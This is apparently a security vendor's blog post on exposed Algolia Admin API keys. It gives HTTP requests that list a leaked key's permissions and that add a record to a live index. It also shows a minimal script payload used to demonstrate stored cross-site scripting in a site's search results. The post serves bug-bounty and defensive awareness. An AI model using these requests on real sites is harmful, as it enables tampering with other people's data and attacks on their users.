SecretsBuster

In this post, we explore the detection and exploitation of one of the many secret types identified by SecretsBuster. When exposed, secrets like these can lead to severe security consequences if exploited. While we focus on Algolia in this example, the same principles apply to a wide range of third-party services that rely on API keys for authentication and access control.

Some of the most impactful vulnerabilities we encounter in bug bounties are not zero-days or complex logic flaws, but simple misconfigurations in widely used third-party services. Over the years, we've repeatedly observed one such misconfiguration that can turn a seemingly harmless feature into a powerful attack vector, with consequences ranging from data manipulation to persistent backdoors in production systems.

What is Algolia?

Algolia is a cloud-based search and discovery platform that helps websites and applications deliver fast, relevant, and user-friendly search experiences. Instead of relying on traditional database queries, websites send their data to the Algolia SaaS platform, which indexes it and ensures low-latency responses. Today, Algolia is widely used to power on-site search, product discovery, and filtering for e-commerce platforms, SaaS products, and documentation websites.

To integrate with Algolia's indexing and search capabilities, websites must use API keys in their client-side or server-side code. Because these keys are often embedded directly in application code, they can inadvertently end up exposed in public repositories, bundled JavaScript, or other accessible locations. This is precisely the type of exposure that SecretsBuster is designed to detect.

Algolia API Keys and a Common Misconfiguration

Algolia provides several types of API keys, each designed for a specific purpose and security level, as described in their documentation. These include search-only keys, secured API keys, and Admin API keys, which are intended to remain strictly confidential and be used only in trusted server-side environments.

However, during our bug bounty engagements and independent research, we repeatedly observed Admin API keys embedded directly in frontend code, often with overly permissive ACLs. In many cases, these keys granted full write and management access to Algolia indexes.

This misconfiguration allows any party in possession of the key to fully manipulate Algolia indexes, including creating, modifying, or deleting records. What starts as a basic configuration error can quickly escalate into a critical security vulnerability.

Identifying the Issue in Practice

As an example, we will demonstrate how this vulnerability was exploited on a major website after being detected by SecretsBuster. The detection identifies two distinct pieces of information required to interact with the Algolia API:

An application ID
An API key

Using these two pieces of information, we can query the Algolia API to retrieve the permissions associated with the API key under test.

GET /1/keys/<API_KEY> HTTP/1.1
Host: <APPLICATION_ID>-1.algolianet.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
x-algolia-api-key: <API_KEY>
x-algolia-application-id: <APPLICATION_ID>
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

The API responds with the permission set associated with the key.

{
  "value": "2f4329032909dzjzk84bd71",
  "createdAt": 1712663817,
  "acl": ["search", "addObject", "deleteObject", "logs", "deleteIndex", "settings"],
  "validity": 0,
  "indexes": ["<REDACTED>"],
  "description": "<REDACTED>"
}

From this response, we can identify:

The indexes the API key has permissions on
The ACLs defining which operations are allowed on those indexes

In this case, the key allows adding objects, deleting records, and even deleting entire indexes.

Exploiting The Misconfiguration

Because Algolia is tightly coupled with a website's search feature, newly added records often appear directly in the frontend. To avoid modifying existing production data, we added a custom object to an existing index as a proof of concept.

PUT /1/indexes/<INDEX>/poc HTTP/1.1
Host: <APPLICATION_ID>-1.algolianet.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
x-algolia-api-key: <API_KEY>
x-algolia-application-id: <APPLICATION_ID>
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 31

{
  "<OBJECT_KEY>": ["<OBJECT_VALUE>"]
}

The response confirms that the object was successfully created.

{
  "updatedAt": "2025-09-10T14:20:34.663Z",
  "taskID": 351261262509,
  "objectID": "poc"
}

Performing a simple search on the website now returns the newly added record, confirming that we can inject arbitrary indexed content into the frontend.

At first glance, this may not seem particularly impactful. However, the real risk becomes apparent when combined with another common issue.

From Data Manipulation to Persistent XSS

Many third-party integrations do not enforce strict security guarantees. Beyond the ACL misconfiguration, developers often assume that data returned by services like Algolia can be trusted by default and therefore apply little to no sanitization before rendering it in the frontend.

This makes Algolia API key misconfigurations especially attractive to attackers. One of the most common and severe impacts is persistent frontend backdooring through stored Cross-Site Scripting (XSS), where malicious JavaScript is injected into Algolia indexes and delivered passively to every user performing a search.

In our case, we updated the 'poc' record with a minimal JavaScript payload.

<script>console.log(1);</script>

This payload was rendered directly in the website's search results and executed without any additional user interaction. Once a stored XSS is established, attackers can escalate the impact by crafting more advanced payloads to phish credentials, steal user sessions, take over accounts, or exfiltrate sensitive data.

Conclusion

Algolia API key misconfigurations highlight how a small mistake in third-party service configuration can have severe and long-lasting security consequences. Exposing Admin API keys with overly permissive ACLs effectively grants attackers write access to core application data and, in many cases, enables persistent client-side compromise.

What makes this issue particularly dangerous is how easy it is to miss. API keys embedded in frontend code are often overlooked during reviews, and third-party services are frequently trusted implicitly, with little validation or sanitization applied to the data they return.

Detecting exposed secrets and over-privileged API keys early is therefore critical. SecretsBuster helps address this risk by continuously identifying exposed secrets and dangerous misconfigurations across codebases and assets, allowing teams to catch issues like insecure Algolia API keys before they are exploited in production.